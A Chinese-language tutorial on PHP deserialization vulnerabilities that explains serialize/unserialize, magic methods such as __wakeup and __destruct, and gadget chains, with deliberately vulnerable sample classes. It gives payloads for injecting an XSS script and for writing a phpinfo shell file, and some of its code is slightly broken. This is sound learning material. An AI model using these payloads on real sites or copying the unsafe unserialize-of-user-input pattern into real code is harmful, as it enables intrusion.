概述

以php为例子,需要先搞清楚php中serialize(),unserialize()这两个函数。

序列化serialize()

序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象:

  1. class S{
  2. public $test="pikachu";
  3. }
  4. $s=new S(); //创建一个对象
  5. serialize($s); //把这个对象进行序列化
  6. 序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
  7. O:代表object
  8. 1:代表对象名字长度为一个字符
  9. S:对象的名称
  10. 1:代表对象里面有一个变量
  11. s:数据类型
  12. 4:变量名称的长度
  13. test:变量名称
  14. s:数据类型
  15. 7:变量值的长度
  16. pikachu:变量值

反序列化unserialize()

就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。

  1. $u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
  2. echo $u->test; //得到的结果为pikachu

序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题

示例

  1. 常见的几个魔法函数:
  2. __construct()当一个对象创建时被调用
  3. __destruct()当一个对象销毁时被调用
  4. __toString()当一个对象被当作一个字符串使用
  5. __sleep() 在对象在被序列化之前运行
  6. __wakeup将在序列化之后立即被调用
  7. 漏洞举例:
  8. class S{
  9. var $test = "pikachu";
  10. function __destruct(){
  11. echo $this->test;
  12. }
  13. }
  14. $s = $_GET['test'];
  15. @$unser = unserialize($a);
  16. ** payload: ** O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
  1. <?php
  2. class chybeta{
  3. var $test = '123';
  4. function __wakeup(){
  5. echo "__wakeup";
  6. echo "</br>";
  7. }
  8. function __construct(){
  9. echo "__construct";
  10. echo "</br>";
  11. }
  12. function __destruct(){
  13. echo "__destruct";
  14. echo "</br>";
  15. }
  16. }
  17. $class2 = 'O:7:"chybeta":1:{s:4:"test";s:3:"123";}';
  18. print_r($class2);
  19. echo "</br>";
  20. $class2_unser = unserialize($class2);
  21. print_r($class2_unser);
  22. echo "</br>";
  23. ?>

把上面的文件存下来,执行一下,看看实际效果:
image.png

利用场景

wakeup() 或destruct()

由前可以看到,unserialize()后会导致wakeup() 或destruct()的直接调用,中间无需其他过程。因此最理想的情况就是一些漏洞/危害代码在wakeup() 或destruct()中,从而当我们控制序列化字符串时可以去直接触发它们。这里针对 __wakeup() 场景做个实验。假设index源码如下:

  1. <?php
  2. class chybeta{
  3. var $test = '123';
  4. function __wakeup(){
  5. $fp = fopen("shell.php","w") ;
  6. fwrite($fp,$this->test);
  7. fclose($fp);
  8. }
  9. }
  10. $class3 = $_GET['test'];
  11. print_r($class3);
  12. echo "</br>";
  13. $class3_unser = unserialize($class3);
  14. require "shell.php";
  15. // 为显示效果,把这个shell.php包含进来
  16. ?>

那我们把序列化的数据传入,对方调用序列化的__wakeup()函数就可以被调用到。

O:7:”chybeta”:1:{s:4:”test”;s:19:”<?php phpinfo(); ?>”;}


实战

打开pikachu进行反序列化的实战操练。
image.png
直接带入payloads,看效果:
O:1:”S”:1:{s:4:”test”;s:29:”“;}

image.png

其他Magic function的利用

但如果一次unserialize()中并不会直接调用的魔术函数,比如前面提到的construct(),是不是就没有利用价值呢?非也。类似于PWN中的ROP,有时候反序列化一个对象时,由它调用的wakeup()中又去调用了其他的对象,由此可以溯源而上,利用一次次的“gadget”找到漏洞点。

  1. <?php
  2. class ph0en1x{
  3. function __construct($test){
  4. $fp = fopen("shell.php","w") ;
  5. fwrite($fp,$test);
  6. fclose($fp);
  7. }
  8. }
  9. class chybeta{
  10. var $test = '123';
  11. function __wakeup(){
  12. $obj = new ph0en1x($this->test);
  13. }
  14. }
  15. $class5 = $_GET['test'];
  16. print_r($class5);
  17. echo "</br>";
  18. $class5_unser = unserialize($class5);
  19. require "shell.php";
  20. ?>

反序列化漏洞 - 图4

利用普通成员方法

前面谈到的利用都是基于“自动调用”的magic function。但当漏洞/危险代码存在类的普通方法中,就不能指望通过“自动调用”来达到目的了。这时的利用方法如下,寻找相同的函数名,把敏感函数和类联系在一起。

  1. <?php
  2. class chybeta {
  3. var $test;
  4. function __construct() {
  5. $this->test = new ph0en1x();
  6. }
  7. function __destruct() {
  8. $this->test->action();
  9. }
  10. }
  11. class ph0en1x {
  12. function action() {
  13. echo "ph0en1x";
  14. }
  15. }
  16. class ph0en2x {
  17. var $test2;
  18. function action() {
  19. eval($this->test2);
  20. }
  21. }
  22. $class6 = new chybeta();
  23. unserialize($_GET['test']);
  24. ?>

本意上,new一个新的chybeta对象后,调用construct(),其中又new了ph0en1x对象。在结束后会调用destruct(),其中会调用action(),从而输出 ph0en1x。
反序列化漏洞 - 图5